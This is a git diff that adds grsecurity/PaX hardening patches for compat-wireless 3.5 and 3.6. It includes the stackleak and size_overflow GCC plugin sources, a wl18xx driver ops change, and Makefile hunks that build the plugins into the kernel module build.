++	const_char_ptr_type_node = build_pointer_type(build_type_variant(char_type_node, 1, 0));
++
++	// void report_size_overflow(const char *loc_file, unsigned int loc_line, const char *current_func, const char *ssa_var)
++	fntype = build_function_type_list(void_type_node,
++					  const_char_ptr_type_node,
++					  unsigned_type_node,
++					  const_char_ptr_type_node,
++					  const_char_ptr_type_node,
++					  NULL_TREE);
++	report_size_overflow_decl = build_fn_decl("report_size_overflow", fntype);
++
++	DECL_ASSEMBLER_NAME(report_size_overflow_decl);
++	TREE_PUBLIC(report_size_overflow_decl) = 1;
++	DECL_EXTERNAL(report_size_overflow_decl) = 1;
++	DECL_ARTIFICIAL(report_size_overflow_decl) = 1;
++	TREE_THIS_VOLATILE(report_size_overflow_decl) = 1;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	int i;
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	bool enable = true;
++
++	struct register_pass_info size_overflow_pass_info = {
++		.pass				= &size_overflow_pass.pass,
++		.reference_pass_name		= "ssa",
++		.ref_pass_instance_number	= 1,
++		.pos_op				= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "no-size-overflow")) {
++			enable = false;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &size_overflow_plugin_info);
++	if (enable) {
++		register_callback("start_unit", PLUGIN_START_UNIT, &start_unit_callback, NULL);
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &size_overflow_pass_info);
++	}
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+diff -rupN compat-wireless-3.5.4-1-snpc/tools/gcc/stackleak_plugin.c compat-wireless-3.5.4-1-snpc/tools/gcc/stackleak_plugin.c
+--- compat-wireless-3.5.4-1-snpc/tools/gcc/stackleak_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.5.4-1-snpc/tools/gcc/stackleak_plugin.c	2012-10-15 19:11:12.875824568 +0000
+@@ -0,0 +1,313 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to help implement various PaX features
++ *
++ * - track lowest stack pointer
++ *
++ * TODO:
++ * - initialize all local variables
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++
++int plugin_is_GPL_compatible;
++
++static int track_frame_size = -1;
++static const char track_function[] = "pax_track_stack";
++static const char check_function[] = "pax_check_alloca";
++static bool init_locals;
++
++static struct plugin_info stackleak_plugin_info = {
++	.version	= "201203140940",
++	.help		= "track-lowest-sp=nn\ttrack sp in functions whose frame size is at least nn bytes\n"
++//			  "initialize-locals\t\tforcibly initialize all stack frames\n"
++};
++
++static bool gate_stackleak_track_stack(void);
++static unsigned int execute_stackleak_tree_instrument(void);
++static unsigned int execute_stackleak_final(void);
++
++static struct gimple_opt_pass stackleak_tree_instrument_pass = {
++	.pass = {
++		.type			= GIMPLE_PASS,
++		.name			= "stackleak_tree_instrument",
++		.gate			= gate_stackleak_track_stack,
++		.execute		= execute_stackleak_tree_instrument,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= PROP_gimple_leh | PROP_cfg,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0, //TODO_verify_ssa | TODO_verify_flow | TODO_verify_stmts,
++		.todo_flags_finish	= TODO_verify_ssa | TODO_verify_stmts | TODO_dump_func | TODO_update_ssa
++	}
++};
++
++static struct rtl_opt_pass stackleak_final_rtl_opt_pass = {
++	.pass = {
++		.type			= RTL_PASS,
++		.name			= "stackleak_final",
++		.gate			= gate_stackleak_track_stack,
++		.execute		= execute_stackleak_final,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= TODO_dump_func
++	}
++};
++
++static bool gate_stackleak_track_stack(void)
++{
++	return track_frame_size >= 0;
++}
++
++static void stackleak_check_alloca(gimple_stmt_iterator *gsi)
++{
++	gimple check_alloca;
++	tree fntype, fndecl, alloca_size;
++
++	fntype = build_function_type_list(void_type_node, long_unsigned_type_node, NULL_TREE);
++	fndecl = build_fn_decl(check_function, fntype);
++	DECL_ASSEMBLER_NAME(fndecl); // for LTO
++
++	// insert call to void pax_check_alloca(unsigned long size)
++	alloca_size = gimple_call_arg(gsi_stmt(*gsi), 0);
++	check_alloca = gimple_build_call(fndecl, 1, alloca_size);
++	gsi_insert_before(gsi, check_alloca, GSI_SAME_STMT);
++}
++
++static void stackleak_add_instrumentation(gimple_stmt_iterator *gsi)
++{
++	gimple track_stack;
++	tree fntype, fndecl;
++
++	fntype = build_function_type_list(void_type_node, NULL_TREE);
++	fndecl = build_fn_decl(track_function, fntype);
++	DECL_ASSEMBLER_NAME(fndecl); // for LTO
++
++	// insert call to void pax_track_stack(void)
++	track_stack = gimple_build_call(fndecl, 0);
++	gsi_insert_after(gsi, track_stack, GSI_CONTINUE_LINKING);
++}
++
++#if BUILDING_GCC_VERSION == 4005
++static bool gimple_call_builtin_p(gimple stmt, enum built_in_function code)
++{
++	tree fndecl;
++
++	if (!is_gimple_call(stmt))
++		return false;
++	fndecl = gimple_call_fndecl(stmt);
++	if (!fndecl)
++		return false;
++	if (DECL_BUILT_IN_CLASS(fndecl) != BUILT_IN_NORMAL)
++		return false;
++//	print_node(stderr, "pax", fndecl, 4);
++	return DECL_FUNCTION_CODE(fndecl) == code;
++}
++#endif
++
++static bool is_alloca(gimple stmt)
++{
++	if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA))
++		return true;
++
++#if BUILDING_GCC_VERSION >= 4007
++	if (gimple_call_builtin_p(stmt, BUILT_IN_ALLOCA_WITH_ALIGN))
++		return true;
++#endif
++
++	return false;
++}
++
++static unsigned int execute_stackleak_tree_instrument(void)
++{
++	basic_block bb, entry_bb;
++	bool prologue_instrumented = false, is_leaf = true;
++
++	entry_bb = ENTRY_BLOCK_PTR_FOR_FUNCTION(cfun)->next_bb;
++
++	// 1. loop through BBs and GIMPLE statements
++	FOR_EACH_BB(bb) {
++		gimple_stmt_iterator gsi;
++
++		for (gsi = gsi_start_bb(bb); !gsi_end_p(gsi); gsi_next(&gsi)) {
++			gimple stmt;
++
++			stmt = gsi_stmt(gsi);
++
++			if (is_gimple_call(stmt))
++				is_leaf = false;
++
++			// gimple match: align 8 built-in BUILT_IN_NORMAL:BUILT_IN_ALLOCA attributes <tree_list 0xb7576450>
++			if (!is_alloca(stmt))
++				continue;
++
++			// 2. insert stack overflow check before each __builtin_alloca call
++			stackleak_check_alloca(&gsi);
++
++			// 3. insert track call after each __builtin_alloca call
++			stackleak_add_instrumentation(&gsi);
++			if (bb == entry_bb)
++				prologue_instrumented = true;
++		}
++	}
++
++	// special cases for some bad linux code: taking the address of static inline functions will materialize them
++	// but we mustn't instrument some of them as the resulting stack alignment required by the function call ABI
++	// will break other assumptions regarding the expected (but not otherwise enforced) register clobbering  ABI.
++	// case in point: native_save_fl on amd64 when optimized for size clobbers rdx if it were instrumented here.
++	if (is_leaf && !TREE_PUBLIC(current_function_decl) && DECL_DECLARED_INLINE_P(current_function_decl))
++		return 0;
++	if (is_leaf && !strncmp(IDENTIFIER_POINTER(DECL_NAME(current_function_decl)), "_paravirt_", 10))
++		return 0;
++
++	// 4. insert track call at the beginning
++	if (!prologue_instrumented) {
++		gimple_stmt_iterator gsi;
++
++		bb = split_block_after_labels(ENTRY_BLOCK_PTR)->dest;
++		if (dom_info_available_p(CDI_DOMINATORS))
++			set_immediate_dominator(CDI_DOMINATORS, bb, ENTRY_BLOCK_PTR);
++		gsi = gsi_start_bb(bb);
++		stackleak_add_instrumentation(&gsi);
++	}
++
++	return 0;
++}
++
++static unsigned int execute_stackleak_final(void)
++{
++	rtx insn;
++
++	if (cfun->calls_alloca)
++		return 0;
++
++	// keep calls only if function frame is big enough
++	if (get_frame_size() >= track_frame_size)
++		return 0;
++
++	// 1. find pax_track_stack calls
++	for (insn = get_insns(); insn; insn = NEXT_INSN(insn)) {
++		// rtl match: (call_insn 8 7 9 3 (call (mem (symbol_ref ("pax_track_stack") [flags 0x41] <function_decl 0xb7470e80 pax_track_stack>) [0 S1 A8]) (4)) -1 (nil) (nil))
++		rtx body;
++
++		if (!CALL_P(insn))
++			continue;
++		body = PATTERN(insn);
++		if (GET_CODE(body) != CALL)
++			continue;
++		body = XEXP(body, 0);
++		if (GET_CODE(body) != MEM)
++			continue;
++		body = XEXP(body, 0);
++		if (GET_CODE(body) != SYMBOL_REF)
++			continue;
++		if (strcmp(XSTR(body, 0), track_function))
++			continue;
++//		warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size);
++		// 2. delete call
++		insn = delete_insn_and_edges(insn);
++#if BUILDING_GCC_VERSION >= 4007
++		if (GET_CODE(insn) == NOTE && NOTE_KIND(insn) == NOTE_INSN_CALL_ARG_LOCATION)
++			insn = delete_insn_and_edges(insn);
++#endif
++	}
++
++//	print_simple_rtl(stderr, get_insns());
++//	print_rtl(stderr, get_insns());
++//	warning(0, "track_frame_size: %d %ld %d", cfun->calls_alloca, get_frame_size(), track_frame_size);
++
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	struct register_pass_info stackleak_tree_instrument_pass_info = {
++		.pass				= &stackleak_tree_instrument_pass.pass,
++//		.reference_pass_name		= "tree_profile",
++		.reference_pass_name		= "optimized",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++	struct register_pass_info stackleak_final_pass_info = {
++		.pass				= &stackleak_final_rtl_opt_pass.pass,
++		.reference_pass_name		= "final",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_BEFORE
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &stackleak_plugin_info);
++
++	for (i = 0; i < argc; ++i) {
++		if (!strcmp(argv[i].key, "track-lowest-sp")) {
++			if (!argv[i].value) {
++				error(G_("no value supplied for option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++				continue;
++			}
++			track_frame_size = atoi(argv[i].value);
++			if (argv[i].value[0] < '0' || argv[i].value[0] > '9' || track_frame_size < 0)
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++			continue;
++		}
++		if (!strcmp(argv[i].key, "initialize-locals")) {
++			if (argv[i].value) {
++				error(G_("invalid option argument '-fplugin-arg-%s-%s=%s'"), plugin_name, argv[i].key, argv[i].value);
++				continue;
++			}
++			init_locals = true;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_tree_instrument_pass_info);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &stackleak_final_pass_info);
++
++	return 0;
++}
diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.6-grsec.patch b/net-wireless/compat-wireless/files/compat-wireless-3.6-grsec.patch
new file mode 100644
index 00000000..817b3d54
--- /dev/null
+++ b/net-wireless/compat-wireless/files/compat-wireless-3.6-grsec.patch
@@ -0,0 +1,51 @@
+--- drivers/net/wireless/ti/wl18xx/main.c
++++ drivers/net/wireless/ti/wl18xx/main.c
+@@ -1320,6 +1320,34 @@ static struct wlcore_ops wl18xx_ops = {
+ 	.pre_pkt_send	= wl18xx_pre_pkt_send,
+ };
+ 
++static struct wlcore_ops wl18xx_ops_no_checksum = {
++	.identify_chip	= wl18xx_identify_chip,
++	.boot		= wl18xx_boot,
++	.plt_init	= wl18xx_plt_init,
++	.trigger_cmd	= wl18xx_trigger_cmd,
++	.ack_event	= wl18xx_ack_event,
++	.calc_tx_blocks = wl18xx_calc_tx_blocks,
++	.set_tx_desc_blocks = wl18xx_set_tx_desc_blocks,
++	.set_tx_desc_data_len = wl18xx_set_tx_desc_data_len,
++	.get_rx_buf_align = wl18xx_get_rx_buf_align,
++	.get_rx_packet_len = wl18xx_get_rx_packet_len,
++	.tx_immediate_compl = wl18xx_tx_immediate_completion,
++	.tx_delayed_compl = NULL,
++	.hw_init	= wl18xx_hw_init,
++	.set_tx_desc_csum = wl18xx_set_tx_desc_csum,
++	.get_pg_ver	= wl18xx_get_pg_ver,
++	.set_rx_csum = NULL,
++	.sta_get_ap_rate_mask = wl18xx_sta_get_ap_rate_mask,
++	.ap_get_mimo_wide_rate_mask = wl18xx_ap_get_mimo_wide_rate_mask,
++	.get_mac	= wl18xx_get_mac,
++	.debugfs_init	= wl18xx_debugfs_add_files,
++	.handle_static_data	= wl18xx_handle_static_data,
++	.get_spare_blocks = wl18xx_get_spare_blocks,
++	.set_key	= wl18xx_set_key,
++	.pre_pkt_send	= wl18xx_pre_pkt_send,
++	.init_vif = NULL,
++};
++
+ /* HT cap appropriate for wide channels in 2Ghz */
+ static struct ieee80211_sta_ht_cap wl18xx_siso40_ht_cap_2ghz = {
+ 	.cap = IEEE80211_HT_CAP_SGI_20 | IEEE80211_HT_CAP_SGI_40 |
+@@ -1509,8 +1537,11 @@ static int __devinit wl18xx_probe(struct
+ 	}
+ 
+ 	if (!checksum_param) {
+-		wl18xx_ops.set_rx_csum = NULL;
+-		wl18xx_ops.init_vif = NULL;
++		/*
++		 * wl18xx_ops.set_rx_csum = NULL;
++		 * wl18xx_ops.init_vif = NULL;
++		*/
++		wl->ops = &wl18xx_ops_no_checksum;
+ 	}
+ 
+ 	wl->enable_11a = enable_11a_param;
\ No newline at end of file
diff --git a/net-wireless/compat-wireless/files/compat-wireless-3.6-zc-grsec.patch b/net-wireless/compat-wireless/files/compat-wireless-3.6-zc-grsec.patch
new file mode 100644
index 00000000..41431feb
--- /dev/null
+++ b/net-wireless/compat-wireless/files/compat-wireless-3.6-zc-grsec.patch
@@ -0,0 +1,9057 @@
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/Makefile.rej compat-wireless-3.6-rc7-1-snpc/Makefile.rej
+--- compat-wireless-3.6-rc7-1-snpc.orig/Makefile.rej	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/Makefile.rej	2012-10-15 17:30:59.824924531 +0000
+@@ -0,0 +1,196 @@
++--- Makefile	2012-10-07 18:49:41.159544632 +0200
+++++ Makefile	2012-10-07 18:49:47.351545272 +0200
++@@ -241,8 +241,9 @@
++ 
++ HOSTCC       = gcc
++ HOSTCXX      = g++
++-HOSTCFLAGS   = -Wall -Wmissing-prototypes -Wstrict-prototypes -O2 -fomit-frame-pointer
++-HOSTCXXFLAGS = -O2
+++HOSTCFLAGS   = -Wall -W -Wmissing-prototypes -Wstrict-prototypes -Wno-unused-parameter -Wno-missing-field-initializers -O2 -fomit-frame-pointer -fno-delete-null-pointer-checks
+++HOSTCLFAGS  += $(call cc-option, -Wno-empty-body)
+++HOSTCXXFLAGS = -O2 -Wall -W -fno-delete-null-pointer-checks
++ 
++ # Decide whether to build built-in, modular, or both.
++ # Normally, just do built-in.
++@@ -404,8 +405,8 @@
++ # Rules shared between *config targets and build targets
++ 
++ # Basic helpers built in scripts/
++-PHONY += scripts_basic
++-scripts_basic:
+++PHONY += scripts_basic gcc-plugins
+++scripts_basic: gcc-plugins
++ 	$(Q)$(MAKE) $(build)=scripts/basic
++ 	$(Q)rm -f .tmp_quiet_recordmcount
++ 
++@@ -561,6 +562,56 @@
++ KBUILD_CFLAGS	+= -O2
++ endif
++ 
+++PLUGINCC := $(shell $(CONFIG_SHELL) $(srctree)/scripts/gcc-plugin.sh "$(HOSTCC)" "$(HOSTCXX)" "$(CC)")
+++ifneq ($(PLUGINCC),)
+++ifdef CONFIG_PAX_CONSTIFY_PLUGIN
+++CONSTIFY_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/constify_plugin.so -DCONSTIFY_PLUGIN
+++endif
+++ifdef CONFIG_PAX_MEMORY_STACKLEAK
+++STACKLEAK_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/stackleak_plugin.so -DSTACKLEAK_PLUGIN
+++STACKLEAK_PLUGIN_CFLAGS += -fplugin-arg-stackleak_plugin-track-lowest-sp=100
+++endif
+++ifdef CONFIG_KALLOCSTAT_PLUGIN
+++KALLOCSTAT_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/kallocstat_plugin.so
+++endif
+++ifdef CONFIG_PAX_KERNEXEC_PLUGIN
+++KERNEXEC_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/kernexec_plugin.so
+++KERNEXEC_PLUGIN_CFLAGS += -fplugin-arg-kernexec_plugin-method=$(CONFIG_PAX_KERNEXEC_PLUGIN_METHOD) -DKERNEXEC_PLUGIN
+++KERNEXEC_PLUGIN_AFLAGS := -DKERNEXEC_PLUGIN
+++endif
+++ifdef CONFIG_CHECKER_PLUGIN
+++ifeq ($(call cc-ifversion, -ge, 0406, y), y)
+++CHECKER_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/checker_plugin.so -DCHECKER_PLUGIN
+++endif
+++endif
+++COLORIZE_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/colorize_plugin.so
+++ifdef CONFIG_PAX_SIZE_OVERFLOW
+++SIZE_OVERFLOW_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/size_overflow_plugin.so -DSIZE_OVERFLOW_PLUGIN
+++endif
+++ifdef CONFIG_PAX_LATENT_ENTROPY
+++LATENT_ENTROPY_PLUGIN_CFLAGS := -fplugin=$(objtree)/tools/gcc/latent_entropy_plugin.so -DLATENT_ENTROPY_PLUGIN
+++endif
+++GCC_PLUGINS_CFLAGS := $(CONSTIFY_PLUGIN_CFLAGS) $(STACKLEAK_PLUGIN_CFLAGS) $(KALLOCSTAT_PLUGIN_CFLAGS)
+++GCC_PLUGINS_CFLAGS += $(KERNEXEC_PLUGIN_CFLAGS) $(CHECKER_PLUGIN_CFLAGS) $(COLORIZE_PLUGIN_CFLAGS)
+++GCC_PLUGINS_CFLAGS += $(SIZE_OVERFLOW_PLUGIN_CFLAGS) $(LATENT_ENTROPY_PLUGIN_CFLAGS)
+++GCC_PLUGINS_AFLAGS := $(KERNEXEC_PLUGIN_AFLAGS)
+++export PLUGINCC GCC_PLUGINS_CFLAGS GCC_PLUGINS_AFLAGS CONSTIFY_PLUGIN
+++ifeq ($(KBUILD_EXTMOD),)
+++gcc-plugins:
+++	$(Q)$(MAKE) $(build)=tools/gcc
+++else
+++gcc-plugins: ;
+++endif
+++else
+++gcc-plugins:
+++ifeq ($(call cc-ifversion, -ge, 0405, y), y)
+++	$(Q)echo "warning, your gcc installation does not support plugins, perhaps the necessary headers are missing?"
+++else
+++	$(Q)echo "warning, your gcc version does not support plugins, you should upgrade it to gcc 4.5 at least"
+++endif
+++	$(Q)echo "PAX_MEMORY_STACKLEAK and other features will be less secure"
+++endif
+++
++ include $(srctree)/arch/$(SRCARCH)/Makefile
++ 
++ ifdef CONFIG_READABLE_ASM
++@@ -762,6 +813,8 @@
++ 
++ # The actual objects are generated when descending, 
++ # make sure no implicit rule kicks in
+++$(filter-out $(init-y),$(vmlinux-deps)): KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++$(filter-out $(init-y),$(vmlinux-deps)): KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
++ $(sort $(vmlinux-deps)): $(vmlinux-dirs) ;
++ 
++ # Handle descending into subdirectories listed in $(vmlinux-dirs)
++@@ -771,7 +824,7 @@
++ # Error messages still appears in the original language
++ 
++ PHONY += $(vmlinux-dirs)
++-$(vmlinux-dirs): prepare scripts
+++$(vmlinux-dirs): gcc-plugins prepare scripts
++ 	$(Q)$(MAKE) $(build)=$@
++ 
++ # Store (new) KERNELRELASE string in include/config/kernel.release
++@@ -815,6 +868,7 @@
++ 	$(Q)$(MAKE) $(build)=.
++ 
++ # All the preparing..
+++prepare: KBUILD_CFLAGS := $(filter-out $(GCC_PLUGINS_CFLAGS),$(KBUILD_CFLAGS))
++ prepare: prepare0
++ 
++ # Generate some files
++@@ -922,6 +976,8 @@
++ #	using awk while concatenating to the final file.
++ 
++ PHONY += modules
+++modules: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++modules: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
++ modules: $(vmlinux-dirs) $(if $(KBUILD_BUILTIN),vmlinux) modules.builtin
++ 	$(Q)$(AWK) '!x[$$0]++' $(vmlinux-dirs:%=$(objtree)/%/modules.order) > $(objtree)/modules.order
++ 	@$(kecho) '  Building modules, stage 2.';
++@@ -937,7 +993,7 @@
++ 
++ # Target to prepare building external modules
++ PHONY += modules_prepare
++-modules_prepare: prepare scripts
+++modules_prepare: gcc-plugins prepare scripts
++ 
++ # Target to install modules
++ PHONY += modules_install
++@@ -994,7 +1050,7 @@
++ MRPROPER_DIRS  += include/config usr/include include/generated          \
++                   arch/*/include/generated
++ MRPROPER_FILES += .config .config.old .version .old_version             \
++-                  include/linux/version.h                               \
+++                  include/linux/version.h tools/gcc/size_overflow_hash.h\
++ 		  Module.symvers tags TAGS cscope* GPATH GTAGS GRTAGS GSYMS
++ 
++ # clean - Delete most, but leave enough to build external modules
++@@ -1032,6 +1088,7 @@
++ 		\( -name '*.orig' -o -name '*.rej' -o -name '*~' \
++ 		-o -name '*.bak' -o -name '#*#' -o -name '.*.orig' \
++ 		-o -name '.*.rej' \
+++		-o -name '.*.rej' -o -name '*.so' \
++ 		-o -name '*%' -o -name '.*.cmd' -o -name 'core' \) \
++ 		-type f -print | xargs rm -f
++ 
++@@ -1192,6 +1249,8 @@
++ $(module-dirs): crmodverdir $(objtree)/Module.symvers
++ 	$(Q)$(MAKE) $(build)=$(patsubst _module_%,%,$@)
++ 
+++modules: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++modules: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
++ modules: $(module-dirs)
++ 	@$(kecho) '  Building modules, stage 2.';
++ 	$(Q)$(MAKE) -f $(srctree)/scripts/Makefile.modpost
++@@ -1326,17 +1385,21 @@
++         target-dir = $(if $(KBUILD_EXTMOD),$(dir $<),$(dir $@))
++ endif
++ 
++-%.s: %.c prepare scripts FORCE
+++%.s: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++%.s: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
+++%.s: %.c gcc-plugins prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++ %.i: %.c prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++-%.o: %.c prepare scripts FORCE
+++%.o: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++%.o: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
+++%.o: %.c gcc-plugins prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++ %.lst: %.c prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++-%.s: %.S prepare scripts FORCE
+++%.s: %.S gcc-plugins prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++-%.o: %.S prepare scripts FORCE
+++%.o: %.S gcc-plugins prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++ %.symtypes: %.c prepare scripts FORCE
++ 	$(Q)$(MAKE) $(build)=$(build-dir) $(target-dir)$(notdir $@)
++@@ -1346,11 +1409,15 @@
++ 	$(cmd_crmodverdir)
++ 	$(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \
++ 	$(build)=$(build-dir)
++-%/: prepare scripts FORCE
+++%/: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++%/: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
+++%/: gcc-plugins prepare scripts FORCE
++ 	$(cmd_crmodverdir)
++ 	$(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1) \
++ 	$(build)=$(build-dir)
++-%.ko: prepare scripts FORCE
+++%.ko: KBUILD_CFLAGS += $(GCC_PLUGINS_CFLAGS)
+++%.ko: KBUILD_AFLAGS += $(GCC_PLUGINS_AFLAGS)
+++%.ko: gcc-plugins prepare scripts FORCE
++ 	$(cmd_crmodverdir)
++ 	$(Q)$(MAKE) KBUILD_MODULES=$(if $(CONFIG_MODULES),1)   \
++ 	$(build)=$(build-dir) $(@:.ko=.o)
+diff -rupN compat-wireless-3.6-rc7-1-snpc.orig/Makefile.~1~ compat-wireless-3.6-rc7-1-snpc/Makefile.~1~
+--- compat-wireless-3.6-rc7-1-snpc.orig/Makefile.~1~	1970-01-01 00:00:00.000000000 +0000
++++ compat-wireless-3.6-rc7-1-snpc/Makefile.~1~	2012-10-15 17:30:59.824924531 +0000
+@@ -0,0 +1,257 @@
++#
++
++# Copyright (c) 2007-2012 Luis R. Rodriguez <mcgrof@frijolero.org>
++#
++# Permission to use, copy, modify, and/or distribute this software for any
++# purpose with or without fee is hereby granted, provided that the above
++# copyright notice and this permission notice appear in all copies.
++#
++# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
++# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
++# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
++# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
++# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
++# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
++# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
++
++export KMODDIR?=       updates
++KMODDIR_ARG:=   "INSTALL_MOD_DIR=$(KMODDIR)"
++ifneq ($(origin KLIB), undefined)
++KMODPATH_ARG:=  "INSTALL_MOD_PATH=$(KLIB)"
++else
++export KLIB:=          /lib/modules/$(shell uname -r)
++endif
++export KLIB_BUILD ?=	$(KLIB)/build
++export MAKE
++
++DESTDIR?=
++
++ifneq ($(KERNELRELEASE),)
++
++-include $(COMPAT_CONFIG)
++include $(COMPAT_CONFIG_CW)
++
++NOSTDINC_FLAGS := -I$(M)/include/ \
++	-include $(M)/include/linux/compat-2.6.h \
++	$(CFLAGS)
++
++obj-y := compat/
++
++obj-$(CONFIG_COMPAT_RFKILL) += net/rfkill/
++
++ifeq ($(BT),)
++obj-$(CONFIG_COMPAT_WIRELESS) += net/wireless/ net/mac80211/
++obj-$(CONFIG_COMPAT_WIRELESS_MODULES) += drivers/net/wireless/
++
++obj-$(CONFIG_COMPAT_NET_USB_MODULES) += drivers/net/usb/
++
++obj-$(CONFIG_COMPAT_NETWORK_MODULES) += drivers/net/ethernet/atheros/
++obj-$(CONFIG_COMPAT_NETWORK_MODULES) += drivers/net/ethernet/broadcom/
++
++obj-$(CONFIG_COMPAT_VAR_MODULES) += drivers/ssb/
++obj-$(CONFIG_COMPAT_VAR_MODULES) += drivers/bcma/
++obj-$(CONFIG_COMPAT_VAR_MODULES) += drivers/misc/eeprom/
++
++ifeq ($(CONFIG_STAGING_EXCLUDE_BUILD),)
++endif
++
++endif
++
++obj-$(CONFIG_COMPAT_BLUETOOTH) += net/bluetooth/
++obj-$(CONFIG_COMPAT_BLUETOOTH_MODULES) += drivers/bluetooth/
++
++else
++
++export PWD :=	$(shell pwd)
++
++# The build will fail if there is any space in PWD.
++ifneq (,$(findstring  $() ,$(PWD)))
++$(error "The path to this compat-wireless directory has spaces in it." \
++	"Please put it somewhere where there is no space")
++endif
++
++export CFLAGS += \
++        -DCOMPAT_BASE="\"$(shell cat $(PWD)/.compat_base)\"" \
